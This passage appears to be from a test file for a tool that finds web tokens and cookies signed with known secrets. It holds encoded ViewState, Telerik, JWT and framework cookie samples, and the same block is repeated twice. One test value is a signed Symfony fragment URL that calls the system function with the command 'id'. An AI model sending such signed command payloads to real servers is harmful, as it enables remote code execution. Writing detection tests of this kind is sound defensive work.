NF9TR%2BzW8UJVG2lhMdcvZw92dg%2F74tndJ8LzhVrQrG5au9yu6fUExO5MNz6izVMFzOxG6FqxUcm8otgf6qqSBi23jrMceNzAT8LcREGoVvjmj8uINrJbJt9ZfXb%2BaIYsMGsc2uAQAAA%3D%3D", "https://localhost/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=Xnsvx/yLVQaimEd1CfepgH0rEXr422JnRSn/uaCE3gs=", "s%3A8FnPwdeM9kdGTZlWvdaVtQ0S1BCOhY5G.qys7H2oGSLLdRsEq7sqh7btOohHsaRKqyjV4LiVnBvc", "eyJpdiI6IlhlNTZ2UjZUQWZKVHdIcG9nZFkwcGc9PSIsInZhbHVlIjoiRlUvY2grU1F1b01lSXdveXJ0T3N1WGJqeVVmZlNRQjNVOWxiSzljL1Z3RDhqYUdDbjZxMU9oSThWRzExT0YvUmthVzVKRE9kL0RvTEw1cFRhQkphOGw4S2loV1ZrMkkwTHd4am9sZkJQd2VCZ3R0VlFSeFo3ay9wTlBMb3lLSG8iLCJtYWMiOiJkMmU3M2ExNDc2NTc5YjAwMGMwMTdkYTQ1NThkMjRkNTY2YTE4OTg2MzY5MzE5NGZmOTM4YWVjOGZmMWU4NTk2IiwidGFnIjoiIn0%3D", ] negative_tests = [ "AAAAAAAA", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkJhZFNpZ25hdHVyZSIsImlhdCI6MTUxNjIzOTAyMn0.S_8lg9Pzezv8JhXT3cppPZcz046cFM8H1o1GJYYAAAA", "AAAA℗", ] def test_check_all(): # Confirm each of the examples produced a positive result for test in tests: r = check_all_modules(test) assert r # verify various types of non-matching inputs do not produce errors or false positives for negative_test in negative_tests: r = check_all_modules(negative_test) assert not r aspnet_viewstate_sample = """ <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Untitled Page </title></head> <body> <form method="post" action="./query.aspx" id="form1"> <div class="aspNetHidden"> <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="NezCOd0kSte/RO2Uc3awo5w6YZGASxqT0wUjljizUB1ykCF0/HtCaRs+bc9sEhzahl1U9SLqD8eO0d31aduWR+MnCHpBPbUlWZ+r9x6PC69lfgZX" /> </div> <div class="aspNetHidden"> <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="EDD8C9AE" /> <input type="hidden" name="__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="" /> </div> <div> <span id="dft">test</span> </div> </form> </body> </html> """ telerik_dialogparameters_sample = """ Sys.Application.add_init(function() { $create(Telerik.Web.UI.RadDialogOpener, {"_dialogDefinitions":{"ImageManager":{"SerializedParameters":"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","Width":"770px","Height":"588px","Title":"Image Manager"} """ jwt_html = """ <html> <head> <title>Test</title> </head> <body> <p>Some text</p> <div class="JWT_IN_PAGE"> <p>eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo</p> </div> </body> </html> """ def test_carve_all_body(): # text-only results for sample in [aspnet_viewstate_sample, telerik_dialogparameters_sample, jwt_html]: print(type(sample))
tests = [ "yJrdyJV6tkmHLII2uDq1Sl509UeDg9xGI4u3tb6dm9BQS4wD08KTkyXKST4PeQs00giqSA==", "eyJoZWxsbyI6IndvcmxkIn0.XDtqeQ.1qsBdjyRJLokwRzJdzXMVCSyRTA", "vpwClvnLODIx9te2vO%2F4e06KzbKkjtwmNnMx09D1Dmau0dPliYzgpqB9MnEqhPNe3fWemQyH25eLULJi8KiYHXeHvjfS1TZAL2o5Gku1gJbLuqusRXZQYTNlU2Aq4twXO0o0CgVUTfknU89iw0ceyaKjSteOhxGvaE3VEDfiKDd8%2B9j9vD3qso0mLMqn%2Btxirc%2FkIq5oBbzOCgMrJjkaPMa2SJpc5QI2amffBJ%2BsAN25VH%2BwabEJXrjRy%2B8NlYCoUQQKrI%2BEzRSdBsiMOxQTD4vz2TCjSKrK5JEeFMTyE7J39MhXFG38Bq%2FZMDO%2FETHHdsBtTTkqzJ2odVArcOzrce3Kt2%2FqgTUPW%2BCjFtkSNmh%2FzlB9BhbxB1kJt1NkNsjywvP9j7PvNoOBJsa8OwpEyrPTT3Gm%2BfhDwtjvwpvN7l7oIfbcERGExAFrAMENOOt4WGlYhF%2F8c9NcDv0Bv3YJrJoGq0rRurXSh9kcwum9nB%2FGWcjPikqTDm6p3Z48hEnQCVuJNkwJwIKEsYxJqCL95IEdX3PzR81zf36uXPlEa3YdeAgM1RD8YGlwlIXnrLhvMbRvQW0W9eoPzE%2FjP68JGUIZc1TwTQusIWjnuVubFTEUMDLfDNk12tMwM9mfnwT8lWFTMjv9pF70W5OtO7gVN%2BOmCxqAuQmScRVExNds%2FF%2FPli4oxRKfgI7FhAaC%2Fu1DopZ6vvBdUq1pBQE66fQ9SnxRTmIClCpULUhNO90ULTpUi9ga2UtBCTzI8z6Sb6qyQ52NopNZMFdrn9orzdP8oqFeyYpF%2BQEtbp%2F5AMENkFkWUxHZn8NoSlO8P6G6ubSyDdY4QJPaFS4FxNhhm85WlZC9xfEZ1AGSSBOu9JJVYiKxXnL1yYLqrlWp5mfBHZeUBwEa%2FMjGxZEVYDhXo4PiU0jxN7fYmjaobp3DSgA5H3BcFuNG5d8CUnOlQcEie5b%2BUHOpI9zAk7qcuEUXbaZ5Mvh0t2jXCRALRKYDyBdbHlWAFo10dTIM6L3aSTM5uEz9%2FalXLXoWlMo7dTDpuO5bBfTq7YkoPExL3g3JJX47UhuLq85i3%2Bzxfvd7r%2Fmid69kbD3PnX%2Bj0QxaiShhyOZg6jl1HMeRRXvZap3FPCIfxbCf7j2TRqB5gYefBIIdGYjrdiL6HS8SbjXcROMwh2Fxnt505X4jmkmDcGmneU3z%2B84TSSFewcSpxGEGvHVkkU4OaT6vyFwsxCmdrR187tQZ7gn3ZkAiTps%2FfOPcL5QWXja06Z%2FHT3zboq6Hj9v9NBHzpC1eAK0YN8r4V2UMI3P0%2FsIPQYXhovoeLjJwq6snKZTX37ulE1mbS1uOY%2BZrvFYbLN5DdNL%2B%2Bl%2F%2BcWIpc0RSYBLo19xHpKeoeLjU2sxaYzK%2B92D4zKANdPPvsHPqJD1Y%2FBwCL%2FfZKaJfRK9Bj09ez1Z1ixTEKjIRCwuxijnJGq33faZchbwpMPpTfv43jEriGwXwoqOo9Mbj9ggPAil7O81XZxNT4vv4RoxXTN93V100rt3ClXauL%2BlNID%2BseN2CEZZqnygpTDf2an%2FVsmJGJJcc0goW3l43mhx2U79zeuT94cFPGpvITEbMtjmuNsUbOBuw6nqm5rAs%2FxjIsDRqfQxGQWfS0kuwuU6RRmiME2Ps0NrBENIbZzcbgw6%2BRIwClWkvEG%2BK%2FPdcAdfmRkAPWUNadxnhjeU2jNnzI1yYNIOhziUBPxgFEcAT45E7rWvf8ghT08HZvphzytPmD%2FxuvJaDdRgb6a30TjSpa7i%2BEHkIMxM5eH1kiwhN6xkTcBsJ87epGdFRWKhTGKYwCbaYid1nRs7%2BvQEU7MRYghok8KMTueELipohm3otuKo8V4a7w4TgTSBvPE%2BLPLJRwhM8KcjGlcpzF1NowRo6zeJJhbdPpouUH2NJzDcp7P4uUuUB9Cxt9B986My6zDnz1eyBvRMzj7TABfmfPFPoY3RfzBUzDm%2FA9lOGsM6d9WZj2CH0WxqiLDGmP1Ts9DWX%2FsYyqEGK5R1Xpnp7kRIarPtYliecp50ZIH6nqSkoCBllMCCE6JN%2BdoXobTpulALdmQV0%2Bppv%2FAjzIJrTHgX7jwRGEAeRgAxTomtemmIaH5NtV7xt8XS%2BqwghdJl1D06%2FWhpMtJ1%2FoQGoJ0%2F7ChYyefyAfsiQNWsO66UNVyl71RVPwATnbRO5K5mtxn0M2wuXXpAARNh6pQTcVX%2FTJ4jmosyKwhI6I870NEOsSaWlKVyOdb97C3Bt0pvzq8BagV5FMsNtJKmqIIM0HRkMkalIyfow9iS%2B5xGN5eKM8NE4E6hO4CvmpG%2BH2xFHTSNzloV0FjLdDmj5UfMjhUuEb3rkKK1bGAVaaherp6Ai6N4YJQzh%2FDdpo6al95EZN2OYolzxitgDgsWVGhMvddyQTwnRqRY04hdVJTwdhi4TiCPbLJ1Wcty2ozy6VDs4w77EOAQ5JnxUmDVPA3vXmADJZR0hIJEsuxXfYg%2BRIdV4fzGunV4%2B9jpiyM9G11iiesURK82o%2BdcG7FaCkkun2K2bvD6qGcL61uhoxNeLVpAxjrRjaEBrXsexZ9rExpMlFD8e3NM%2B0K0LQJvdEvpWYS5UTG9cAbNAzBs%3DpDsPXFGf2lEMcyGaK1ouARHUfqU0fzkeVwjXU9ORI%2Fs%3D", "qAAAAAQDAgEBAAAAvAIAAAAAAAAsAAAABABTaGRyAk4AdQg4AC4AMQAwABRhZGwcBykRPNQv++kTK0KePPqVVGgAAAAFAFNkYXRhXHicHYc7DkBQAATnIUqVa3jxLRzApxJBrxA18bmdw1l2k9nZG/Bcxxjt4/An3NnYOVlZOMRL7ld0NAQ9IzUTMy0DeUpMqkYkso+ZGFNiKbRW//Pyb0Guzwtozw4Q", ".eJxVjLsOAiEURP-F2hAuL8HSfr-BAPciq4ZNlt3K-O9KsoU2U8w5My8W4r7VsHdaw4zswoCdfrsU84PaAHiP7bbwvLRtnRMfCj9o59OC9Lwe7t9Bjb2OtbMkAEGQtQjekykmJy9JZIW-6CgUaCGsA6eSyV65s1Qya_xGKZrY-wPVYjdw:1ojOrE:bfOktjgLlUykwCIRIpvaTZRQMM3-UypscEN57ECtXis", "dUEvRldLekFNcklGZ3ZSbU1XaHJ0ZGxsLzhYTHlNTW43T3BVN05kZXE3WUhQOVVKbVA3Rm5WaSs5eG5QQ1VIRVBzeDFNTnNpZ0xCM1FKbzFZTEJISzhaNzFmVGYzME0waDFURVpCYm5TQlJFRmRFclYzNUZhR3VuN29PMmlkVHBrRi8wb3AwZWgvWmxObkFOYnpkeHR1YWpWZ3lnN0Y4ZW9xSk9LNVlQd0U4MmFsbWtLZUI5VzkzRkM4YXBFWXBWLS15L00xME1nVFp2ZTlmUWcxZVlpelpnPT0=--7efe7919a5210cfd1ac4c6228e3ff82c0600d841", "eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo", "owOnMokk%2F4N7IMo6gznRP56OYIT34dZ1Bh0KBbXlFgztgiNNEBYrgWRYDBkDlX8BIFYBcBztC3NMwoT%2FtNF%2Ff2nCsA37ORIgfBem1foENqumZvmcTpQuoiXXbMWW8oDjs270y6LDAmHhCRsl4Itox4NSBwDgMIOsoMhNrMigV7o7jlgU16L3ezISSmVqFektKmu9qATIXme63u4IKk9UL%2BGP%2Fk3NPv9MsTEVH1wMEf4MApH5KfWBX96TRIc9nlp3IE5BEWNMvI1Gd%2BWXbY5cSY%2Buey2mXQ%2BAFuXAernruJDm%2BxK8ZZ09TNsn5UREutvNtFRrePA8tz3r7p14yG756E0vrU7uBz5TQlTPNUeN3shdxlMK5Qzw1EqxRZmjhaRpMN0YZgmjIpzFgrTnT0%2Bo0f6keaL8Z9TY8vJN8%2BEUPoq%2F7AJiHKm1C8GNc3woVzs5mJKZxMUP398HwGTDv9KSwwkSpHeXFsZofbaWyG0WuNldHNzM%2FgyWMsnGxY6S086%2F477xEQkWdWG5UE%2FowesockebyTTEn3%2B%2FqiVy%2FIOxXvMpvrLel5nVY%2FSouHp5n2URRyRsfo%2B%2BOXJZo7yxKQoYBSSkmxdehJqKJmbgxNp5Ew8m89xAS5g99Hzzg382%2BxFp8yoDVZMOiTEuw0J%2B4G6KizqRW9cis%2FELd0aDE1V7TUuJnFrX%2BlCLOiv100tKpeJ0ePMOYrmvSn0wx7JhswNuj%2BgdKqvCnMSLakGWiOHxu5m9Qqdm3s5sk7nsaxMkh8IqV%2BSzB9A2K1kYEUlY40II1Wun67OSdLlYfdCFQk4ED0N%2BV4kES%2F1xpGiaPhxjboFiiV%2BkvCyJfkuotYuN%2B42CqFyAyepXPA%2BR5jVSThT6OIN2n1UahUnrD%2BwKKGMA9QpVPTSiGLen2KSnJtXISbrl2%2BA2AnQNH%2BMEwYVNjseM0%2BAosbgVfNde2ukMyugo%2FRfrRM27cbdVlE0ms0uXhlgKAYJ2ZN54w1tPWhpGxvZtB0keWpZan0YPh8CBgzsAIMa04HMYLCtgUTqxKqANoKXSy7VIJUzg3fl%2F2WUELjpXK9gRcgexNWDNB1E0rHd9PUo0PvpB4fxSrRpb1LRryipqsuoJ8mrpOVrVMvjracBvtoykK3GrN%2FDUlXkSG%2FAeBQN7HwDJ9QPi3AtEOohp78Op3nmbItXo7IJUSjzBNzUYR8YPj6Ud7Fje9LZSwMBngvgx%2BOKy6HsV4ofOAU2%2FK1%2BfxI0KkCeoSso9NJHWgBD7ijfXUa1Hrc%2FuNU3mTlSSVp3VStQrJbQCkr4paaHYWeeO4pRZCDSBNUzs9qq3TDePwpEQc4QROrw5htdniRk26lFIFm%2Fzk2nC77Pg%2BrkRC1W%2BlRv0lyXsmXVBCe8F1szpWXHCxHNAJwKH%2FBb%2BV1k6AXFXVWPW5vADbXUvRu0s6KLaqu6a0KCB7dt3K2Ni%2FI6O%2FmISYXzknbMrwwakNfajbRF2ibodgR9R9xvoCoCXa3ka7%2Fejr%2BmsZ2HvPKUAffd2fNIWCQrejfpuIoOWiYx6ufN8E41HetCbYfvsI6JQfPOEdOYWI2px%2BLdfO3Nybq99%2BRSQOhjNZakBP54ozlCUfwgpLOmTBwsswZexv1RK5MIi8%2FWtjlJ%2FKjkYxdkFUlwggGS2xDwzcyl2%2FakNCQ5YmxjU8cRY7jZQRMo%2F8uTw5qa2MNZPaQGI18uRgr0i%2FTX3t57fJYCpMLXSaUKIdO7O%2FCQhIyGTS6KrPN%2B3%2FgUb%2BPQ1viGhpnWfGEYF9vhIlK57z8G8G82UQ3DpttD7M8mQ0KsmCOq75ECx9CWrWGk51vADlm%2BLEZ5oWjVMs%2FThki40B7tL7gzFrBuQksWXYeubMzZfFo4ZQ49di4wupHG5kRsyL2fJUzgpaLDP%2BSe6%2FjCnc52C7lZ3Ls0cHJVf9HRwDNXWM%2B4h8donNy5637QWK%2BV7mlH%2FL4xBZCfU9l6sIz%2FWHMtRaQprEem6a%2FRwPRDBiP65I2EwZLKGY8I%2F1uXJncwC8egLu82JY9maweI0VmJSmRcTf0evxqqe7vc9MqpsUlpSVNh4bFnxVIo5E4PGX70kVaTFe0vu1YdGKmFX5PLvkmWIf%2FnwfgPMqYsa0%2F09trboJ5LGDEQRXSBb7ldG%2FwLdOiqocYKAb91SMpn1fXVPBgkPM27QZxHnSAmWVbJR2%2FIhO%2BIVNzkgFAJlptiEPPPTxuBh%2BTT7CaIQE3oZbbJeQKvRkrt4bawTCOzciU%2F1zFGxubTJTSyInjQ8%2F1tVo7KjnxPKqGSfwZQN%2FeWL6R%2FpvCb%2BE6D4pdyczoJRUWsSNXNnA7QrdjgGNWhyOMiKvkDf3RD4mrXbul18WYVTsLyp0hvQsbdwBWOh7VlwfrWdy%2BklsttFi%2B%2BadKR7DbwjLTcxvdNpTx1WJhXROR8jwW26VEYSXPVqWnYvfyZo4DojKHMSDMbAakbuSJdkGP1d5w0AYbKlAcVQOqp9hbAvfwwLy4ErdIsOg0YEeCcnQVRAXwaCI9JvWWmM%2FzYJzE3X45A6lU9Pe7TAbft810MYh7lmV6Keb5HI6qXFiD%2B8khBZqi%2FsK6485k0a86aWLxOb4Eqnoc41x%2BYPv5CWfvP6cebsENo%3D%2BIUg0f64C4y77N4FZ6C82m5wMpvDQIHqx0ZFIHLhwMg%3D", "8H61sylBH/Ad3thZCGDVLyaso2g499GnjAuqpNapesoJgoo5Zk3nxDqXoWfRDwzmKk6eDLTyWViTRTdnr8Su7+XzW6MMAcZo+Fa7UwdfE4pKJ2+z6OYK58l+/93LHZmgVUF5dqI3G8mLr3uI", "H4sIAAAAAAAAAAG4BEf7SqmRq5Y9DfCIR9QLZ9wfMXuwWMtbz4CYqd0%2FCCMNXbRgEOJmkCbpKBJXQ%2BAz78OO%2FufCpa1k1nqcEgNxRzRnKKNVBBPMov%2FE%2BXFqh%2Bb5KZLhJvXicwGSIuVshN1XYpSRzKrosUB0ykN8j9hA90IA5AulHsXIofHj07FlFC%2BTbQqVZ7jKeHDurUkVhf8WQ1up%2BVO9KZwQU6WZzsF5y6AkidThF411avCLTxGAtIC7uZBnzMLL4duUf7YtdIDHt4UWGsXCI7ItciWv4Dzk9w5bKeWRRLp1W1pbniEQY01lTulTZBYPuLtna6pB0I3EJ5bV4c3Gktdd1YAVQcBQ2Yy5TW92YEclM99vW9mwu6xD8ZRYJNIb622TjjFMvmR4u4sNh%2BdgL5MlagVpvQjIxUmP7TzelScfku0PrKnKve2zzG6m8czF2WgbQcSLk%2B6TJAijmezo0byTzBsc0FbiI16jm7OBn%2Bi4xCBJQ0AHtu%2Bj2kUE3SUp3wnwgvCR9EnQIw%2F8p2PIp1h6FG6QOIKamihDeY9r5RCW7yLds5vwmUgT9mPTfN%2B%2Fjpzp4U4axfZv5yrVyMSpsuDEhj0H0CjYQMssn%2BsXMYOJGLqv%2FF0SrGrtcAGYv12%2B17PybzbqrXGe8xYR%2B9wHaKX3CD5Ak3IE0CiILhEIZrDICPTifm8%2FygUDztVZmHwpM6HBpF2inkGbaX6Fa8BOrMJaEqZWAualYYBth37jWyqCKV01TWFfHtS7y7kvkWOPwYYORzx9IKO5yyFrftg4hCH7f5vtHsMoyP8CcWPh9c82O70CIlscfLURWeoAyXv1FYtgC6pBLVlgdHEjMzjKvK7DRtJliNPl0VGazg5jTAYHtuwdc23jIjwBfG0MXpPjkw%2BVR179clfwK4t1VfJTJF8F02EXZXaZzCA7cH%2B%2B3bQaXOpvZBTFGdD9JnwRp2vEhy8%2BWMXhd7C%2BcmliOvraOoK%2Fksa9PNarTZJTTJuZupvYwBWhx%2F2vVDEdCM81Z7bFgb0wGd9ViHIOz0MH8v%2FIgn6qd2ojjnkJ29MfSfhtRi%2BXAvmgFXoIhlIBXBwapozxsKcDXOc5JRWpK%2F7y4naW7Fuogp1oU1fHXOXnQh8FAsjgyqn3J0acyY7FDKtkAjxDTMThh1GrA4dLvvLjPx%2FKUMeCQSZ1Y01X%2BNVRbxXBLGLkDbcBHNmkTTaxbsctSBBMSyOYQfG5W9%2Bhw9D2AFSWwFAuz%2BCDvsPSze0CYDoG9lbuYnW2wseNiKYItaSQhUbnq3SGVcjy1JouogVK63TDGTwE8Cy3UoNrAz%2FzV7AaoVjytyuMBqOTYBS%2BSLif1R2qqeut0ID%2BCudcjrKJvcP1J8rHV%2F5h2lRNj7tW0wVQS4XtqpnPy90BhF%2BgcfCy7FtRJbH8i5HAl5FY1OpZQ68ig12imShpNI%2FgHuO2q3n5%2FVUFia7fwHqkkuZBRZHreEvEyPlUpgwJhpCBS3F8b1ViO2G5zsTNF9TR%2BzW8UJVG2lhMdcvZw92dg%2F74tndJ8LzhVrQrG5au9yu6fUExO5MNz6izVMFzOxG6FqxUcm8otgf6qqSBi23jrMceNzAT8LcREGoVvjmj8uINrJbJt9ZfXb%2BaIYsMGsc2uAQAAA%3D%3D", "https://localhost/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=Xnsvx/yLVQaimEd1CfepgH0rEXr422JnRSn/uaCE3gs=", "s%3A8FnPwdeM9kdGTZlWvdaVtQ0S1BCOhY5G.qys7H2oGSLLdRsEq7sqh7btOohHsaRKqyjV4LiVnBvc", "eyJpdiI6IlhlNTZ2UjZUQWZKVHdIcG9nZFkwcGc9PSIsInZhbHVlIjoiRlUvY2grU1F1b01lSXdveXJ0T3N1WGJqeVVmZlNRQjNVOWxiSzljL1Z3RDhqYUdDbjZxMU9oSThWRzExT0YvUmthVzVKRE9kL0RvTEw1cFRhQkphOGw4S2loV1ZrMkkwTHd4am9sZkJQd2VCZ3R0VlFSeFo3ay9wTlBMb3lLSG8iLCJtYWMiOiJkMmU3M2ExNDc2NTc5YjAwMGMwMTdkYTQ1NThkMjRkNTY2YTE4OTg2MzY5MzE5NGZmOTM4YWVjOGZmMWU4NTk2IiwidGFnIjoiIn0%3D", ] negative_tests = [ "AAAAAAAA", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkJhZFNpZ25hdHVyZSIsImlhdCI6MTUxNjIzOTAyMn0.S_8lg9Pzezv8JhXT3cppPZcz046cFM8H1o1GJYYAAAA", "AAAA℗", ] def test_check_all(): # Confirm each of the examples produced a positive result for test in tests: r = check_all_modules(test) assert r # verify various types of non-matching inputs do not produce errors or false positives for negative_test in negative_tests: r = check_all_modules(negative_test) assert not r aspnet_viewstate_sample = """ <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Untitled Page </title></head> <body> <form method="post" action="./query.aspx" id="form1"> <div class="aspNetHidden"> <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="NezCOd0kSte/RO2Uc3awo5w6YZGASxqT0wUjljizUB1ykCF0/HtCaRs+bc9sEhzahl1U9SLqD8eO0d31aduWR+MnCHpBPbUlWZ+r9x6PC69lfgZX" /> </div> <div class="aspNetHidden"> <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="EDD8C9AE" /> <input type="hidden" name="__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="" /> </div> <div> <span id="dft">test</span> </div> </form> </body> </html> """ telerik_dialogparameters_sample = """ Sys.Application.add_init(function() { $create(Telerik.Web.UI.RadDialogOpener, {"_dialogDefinitions":{"ImageManager":{"SerializedParameters":"gRRgyE4BOGtN/LtBxeEeJDuLj/UwIG4oBhO5rCDfPjeH10P8Y02mDK3B/tsdOIrwILK7XjQiuTlTZMgHckSyb518JPAo6evNlVTPWD5AZX6tr+n2xSddERiT+KdX8wIBlzSIDfpH7147cdm/6SwuH+oB+dJFKHytzn0LCdrcmB/qVdSvTkvKqBjResB8J/Bcnyod+bB0IPtznXcNk4nf7jBdoxRoJ3gVgFTooc7LHa1QhhNgbHNf0xUOSj5dI8UUjgOlzyzZ0WyAzus5A2fr7gtBj2DnHCRjjJPNHn+5ykbwutSTrTPSMPMcYhT0I95lSD+0c5z+r1RsECzZa3rxjxrpNTBJn/+rXFK497vyQbvKRegRaCyJcwReXYMc/q4HtcMNQR3bp+2SHiLdGS/gw/tECBLaH8w2+/MH9WCDJ2puUD45vPTlfN20bHGsKuKnbT+Xtmy2w0aE2u8nv/cTULQ9d3V9Z5NuFHllyEvSrs/gwEFONYoEcBJuJmRA/8GjdeL74/0m/mdZaWmzIio2De4GftrBfmHIdp7Lr1sRSJflz2WyEV78szxZPj5f+DBOTgsBBZSKqXlvWSsrzYCNVgT8JlpT7rAgy/rpGpaGzqD1lpkThDTVstzRAEnocqIswqDpD44mA5UNQiR342zKszcTUDHIEw